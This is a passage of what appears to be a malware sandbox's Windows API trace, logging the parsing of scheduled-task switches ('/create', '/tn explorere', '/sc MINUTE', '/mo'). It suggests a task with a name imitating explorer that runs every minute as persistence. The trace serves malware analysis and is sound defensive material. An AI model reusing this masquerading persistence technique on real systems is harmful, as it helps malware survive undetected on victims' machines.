lpString2="PARSER2", cchCount2=-1) returned 2 [0118.805] lstrlenW (lpString="i") returned 1 [0118.805] GetThreadLocale () returned 0x409 [0118.805] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.805] lstrlenW (lpString="tn") returned 2 [0118.805] GetThreadLocale () returned 0x409 [0118.805] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.805] lstrlenW (lpString="tr") returned 2 [0118.805] GetThreadLocale () returned 0x409 [0118.805] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.805] lstrlenW (lpString="st") returned 2 [0118.806] GetThreadLocale () returned 0x409 [0118.806] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.806] lstrlenW (lpString="sd") returned 2 [0118.806] GetThreadLocale () returned 0x409 [0118.806] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.806] lstrlenW (lpString="ed") returned 2 [0118.806] GetThreadLocale () returned 0x409 [0118.806] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.806] lstrlenW (lpString="it") returned 2 [0118.806] GetThreadLocale () returned 0x409 [0118.806] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.806] lstrlenW (lpString="et") returned 2 [0118.806] GetThreadLocale () returned 0x409 [0118.806] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.806] lstrlenW (lpString="k") returned 1 [0118.807] GetThreadLocale () returned 0x409 [0118.807] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.807] lstrlenW (lpString="du") returned 2 [0118.807] GetThreadLocale () returned 0x409 [0118.807] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.807] lstrlenW (lpString="ri") returned 2 [0118.807] GetThreadLocale () returned 0x409 [0118.807] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.807] lstrlenW (lpString="z") returned 1 [0118.807] GetThreadLocale () returned 0x409 [0118.807] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.807] lstrlenW (lpString="f") returned 1 [0118.807] GetThreadLocale () returned 0x409 [0118.807] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.807] lstrlenW (lpString="v1") returned 2 [0118.808] GetThreadLocale () returned 0x409 [0118.808] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.808] lstrlenW (lpString="xml") returned 3 [0118.808] GetThreadLocale () returned 0x409 [0118.808] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.808] lstrlenW (lpString="ec") returned 2 [0118.808] GetThreadLocale () returned 0x409 [0118.808] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.808] lstrlenW (lpString="rl") returned 2 [0118.808] GetThreadLocale () returned 0x409 [0118.808] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.808] lstrlenW (lpString="delay") returned 5 [0118.808] GetThreadLocale () returned 0x409 [0118.808] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.808] lstrlenW (lpString="np") returned 2 [0118.808] GetThreadLocale () returned 0x409 [0118.809] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.809] lstrlenW (lpString="hresult") returned 7 [0118.809] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.809] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.809] lstrlenW (lpString="/create") returned 7 [0118.809] lstrlenW (lpString="-/") returned 2 [0118.809] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.809] lstrlenW (lpString="create") returned 6 [0118.809] lstrlenW (lpString="create") returned 6 [0118.809] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.809] lstrlenW (lpString="create") returned 6 [0118.809] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.809] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.810] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.810] lstrlenW (lpString="|create|") returned 8 [0118.810] lstrlenW (lpString="|create|") returned 8 [0118.810] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0118.810] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.810] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.810] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.810] lstrlenW (lpString="/tn") returned 3 [0118.810] lstrlenW (lpString="-/") returned 2 [0118.810] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.810] lstrlenW (lpString="create") returned 6 [0118.810] lstrlenW (lpString="create") returned 6 [0118.810] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.810] lstrlenW (lpString="tn") returned 2 [0118.811] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.811] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.812] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.812] lstrlenW (lpString="|create|") returned 8 [0118.812] lstrlenW (lpString="|tn|") returned 4 [0118.812] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0118.812] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.812] lstrlenW (lpString="?") returned 1 [0118.812] lstrlenW (lpString="?") returned 1 [0118.812] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.812] lstrlenW (lpString="tn") returned 2 [0118.812] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.812] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|?|") returned 3 [0118.812] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.812] lstrlenW (lpString="|?|") returned 3 [0118.813] lstrlenW (lpString="|tn|") returned 4 [0118.813] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.813] lstrlenW (lpString="s") returned 1 [0118.813] lstrlenW (lpString="s") returned 1 [0118.813] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.813] lstrlenW (lpString="tn") returned 2 [0118.813] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.813] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|s|") returned 3 [0118.813] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.813] lstrlenW (lpString="|s|") returned 3 [0118.813] lstrlenW (lpString="|tn|") returned 4 [0118.813] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.813] lstrlenW (lpString="u") returned 1 [0118.813] lstrlenW (lpString="u") returned 1 [0118.814] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.814] lstrlenW (lpString="tn") returned 2 [0118.814] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.814] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|u|") returned 3 [0118.814] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.814] lstrlenW (lpString="|u|") returned 3 [0118.814] lstrlenW (lpString="|tn|") returned 4 [0118.814] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.814] lstrlenW (lpString="p") returned 1 [0118.814] lstrlenW (lpString="p") returned 1 [0118.814] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.814] lstrlenW (lpString="tn") returned 2 [0118.814] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.815] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|p|") returned 3 [0118.815] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.815] lstrlenW (lpString="|p|") returned 3 [0118.815] lstrlenW (lpString="|tn|") returned 4 [0118.815] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.815] lstrlenW (lpString="ru") returned 2 [0118.815] lstrlenW (lpString="ru") returned 2 [0118.815] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.815] lstrlenW (lpString="tn") returned 2 [0118.815] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.815] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ru|") returned 4 [0118.815] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.815] lstrlenW (lpString="|ru|") returned 4 [0118.815] lstrlenW (lpString="|tn|") returned 4 [0118.815] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0118.815] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.815] lstrlenW (lpString="rp") returned 2 [0118.815] lstrlenW (lpString="rp") returned 2 [0118.815] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.815] lstrlenW (lpString="tn") returned 2 [0118.816] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.816] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rp|") returned 4 [0118.816] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.816] lstrlenW (lpString="|rp|") returned 4 [0118.816] lstrlenW (lpString="|tn|") returned 4 [0118.816] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0118.816] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.816] lstrlenW (lpString="sc") returned 2 [0118.816] lstrlenW (lpString="sc") returned 2 [0118.816] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.816] lstrlenW (lpString="tn") returned 2 [0118.816] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.816] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.816] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.816] lstrlenW (lpString="|sc|") returned 4 [0118.816] lstrlenW (lpString="|tn|") returned 4 [0118.816] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0118.816] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.816] lstrlenW (lpString="mo") returned 2 [0118.816] lstrlenW (lpString="mo") returned 2 [0118.817] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.817] lstrlenW (lpString="tn") returned 2 [0118.817] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.817] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.817] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.817] lstrlenW (lpString="|mo|") returned 4 [0118.817] lstrlenW (lpString="|tn|") returned 4 [0118.817] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0118.817] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.817] lstrlenW (lpString="d") returned 1 [0118.817] lstrlenW (lpString="d") returned 1 [0118.817] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.817] lstrlenW (lpString="tn") returned 2 [0118.817] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.817] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|d|") returned 3 [0118.817] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.817] lstrlenW (lpString="|d|") returned 3 [0118.817] lstrlenW (lpString="|tn|") returned 4 [0118.817] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.818] lstrlenW (lpString="m") returned 1 [0118.818] lstrlenW (lpString="m") returned 1 [0118.818] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.818] lstrlenW (lpString="tn") returned 2 [0118.818] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.818] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|m|") returned 3 [0118.818] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.818] lstrlenW (lpString="|m|") returned 3 [0118.818] lstrlenW (lpString="|tn|") returned 4 [0118.818] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.818] lstrlenW (lpString="i") returned 1 [0118.818] lstrlenW (lpString="i") returned 1 [0118.818] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.818] lstrlenW (lpString="tn") returned 2 [0118.818] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.818] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|i|") returned 3 [0118.818] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.818] lstrlenW (lpString="|i|") returned 3 [0118.818] lstrlenW (lpString="|tn|") returned 4 [0118.818] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.818] lstrlenW (lpString="tn") returned 2 [0118.819] lstrlenW (lpString="tn") returned 2 [0118.819] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.819] lstrlenW (lpString="tn") returned 2 [0118.819] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.819] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.819] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.819] lstrlenW (lpString="|tn|") returned 4 [0118.819] lstrlenW (lpString="|tn|") returned 4 [0118.819] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0118.819] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.819] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.819] lstrlenW (lpString="explorere") returned 9 [0118.819] lstrlenW (lpString="-/") returned 2 [0118.819] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0118.819] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.819] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.819] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.819] lstrlenW (lpString="explorere") returned 9 [0118.819] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0118.819] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.819] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.820] lstrlenW (lpString="explorere") returned 9 [0118.820] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.820] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.820] lstrlenW (lpString="/sc") returned 3 [0118.820] lstrlenW (lpString="-/") returned 2 [0118.820] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.820] lstrlenW (lpString="create") returned 6 [0118.820] lstrlenW (lpString="create") returned 6 [0118.820] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.820] lstrlenW (lpString="sc") returned 2 [0118.820] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.820] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.820] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.820] lstrlenW (lpString="|create|") returned 8 [0118.820] lstrlenW (lpString="|sc|") returned 4 [0118.820] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0118.820] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.820] lstrlenW (lpString="?") returned 1 [0118.820] lstrlenW (lpString="?") returned 1 [0118.820] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.821] lstrlenW (lpString="sc") returned 2 [0118.821] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.821] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|?|") returned 3 [0118.821] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.821] lstrlenW (lpString="|?|") returned 3 [0118.821] lstrlenW (lpString="|sc|") returned 4 [0118.821] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.821] lstrlenW (lpString="s") returned 1 [0118.821] lstrlenW (lpString="s") returned 1 [0118.821] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.821] lstrlenW (lpString="sc") returned 2 [0118.821] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.821] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|s|") returned 3 [0118.821] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.821] lstrlenW (lpString="|s|") returned 3 [0118.821] lstrlenW (lpString="|sc|") returned 4 [0118.821] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.821] lstrlenW (lpString="u") returned 1 [0118.821] lstrlenW (lpString="u") returned 1 [0118.822] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.822] lstrlenW (lpString="sc") returned 2 [0118.822] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.822] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|u|") returned 3 [0118.822] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.822] lstrlenW (lpString="|u|") returned 3 [0118.822] lstrlenW (lpString="|sc|") returned 4 [0118.822] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.822] lstrlenW (lpString="p") returned 1 [0118.822] lstrlenW (lpString="p") returned 1 [0118.822] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.822] lstrlenW (lpString="sc") returned 2 [0118.822] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.822] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|p|") returned 3 [0118.822] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.822] lstrlenW (lpString="|p|") returned 3 [0118.822] lstrlenW (lpString="|sc|") returned 4 [0118.822] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.822] lstrlenW (lpString="ru") returned 2 [0118.822] lstrlenW (lpString="ru") returned 2 [0118.822] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.823] lstrlenW (lpString="sc") returned 2 [0118.823] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.823] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ru|") returned 4 [0118.823] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.823] lstrlenW (lpString="|ru|") returned 4 [0118.823] lstrlenW (lpString="|sc|") returned 4 [0118.823] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0118.823] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.823] lstrlenW (lpString="rp") returned 2 [0118.823] lstrlenW (lpString="rp") returned 2 [0118.823] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.823] lstrlenW (lpString="sc") returned 2 [0118.823] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.823] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rp|") returned 4 [0118.823] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.823] lstrlenW (lpString="|rp|") returned 4 [0118.823] lstrlenW (lpString="|sc|") returned 4 [0118.823] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0118.823] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.824] lstrlenW (lpString="sc") returned 2 [0118.824] lstrlenW (lpString="sc") returned 2 [0118.824] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.824] lstrlenW (lpString="sc") returned 2 [0118.824] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.824] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.824] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.824] lstrlenW (lpString="|sc|") returned 4 [0118.824] lstrlenW (lpString="|sc|") returned 4 [0118.824] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0118.824] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.824] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.824] lstrlenW (lpString="MINUTE") returned 6 [0118.824] lstrlenW (lpString="-/") returned 2 [0118.824] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0118.824] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.824] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.824] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.824] lstrlenW (lpString="MINUTE") returned 6 [0118.856] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0118.856] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.856] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.856] GetProcessHeap () returned 0x1a4f4a30000 [0118.856] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a3ab60 [0118.856] _memicmp (_Buf1=0x1a4f4a3ab60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.856] lstrlenW (lpString="MINUTE") returned 6 [0118.856] GetProcessHeap () returned 0x1a4f4a30000 [0118.856] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xe) returned 0x1a4f4a3aa80 [0118.856] lstrlenW (lpString="MINUTE") returned 6 [0118.856] lstrlenW (lpString=" \x09") returned 2 [0118.856] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0118.856] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0118.856] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0118.856] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0118.856] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0118.856] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0118.856] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0118.856] GetLastError () returned 0x0 [0118.856] lstrlenW (lpString="MINUTE") returned 6 [0118.856] lstrlenW (lpString="MINUTE") returned 6 [0118.856] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.856] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.856] lstrlenW (lpString="/mo") returned 3 [0118.856] lstrlenW (lpString="-/") returned 2 [0118.856] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.856] lstrlenW (lpString="create") returned 6 [0118.856] lstrlenW (lpString="create") returned 6 [0118.857] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.857] lstrlenW 